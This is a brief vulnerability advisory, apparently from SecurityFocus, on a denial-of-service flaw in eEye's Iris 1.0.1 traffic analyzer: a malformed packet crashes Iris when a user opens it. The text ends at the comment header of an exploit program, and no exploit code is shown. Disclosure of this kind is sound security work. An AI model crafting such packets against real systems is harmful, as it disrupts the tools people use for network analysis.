eEye Digital Security IRIS 1.0.1 GET Denial of Service Vulnerability

                                                source: http://www.securityfocus.com/bid/2278/info

A maliciously-formed packet sent to Iris by a remote attacker, upon opening in the program for analysis by a user, will cause Iris to terminate.

The crash is caused by an inability of Iris to handle packets with malformed values in its headers. 

/* Denial of Service attack against :
 * Iris The Network Traffic Analyzer beta 1.01
 * ------------------------------------------------
 *
 * Will create an incorrect packet which will cause
 * Iris to hang when it is opened by a user.
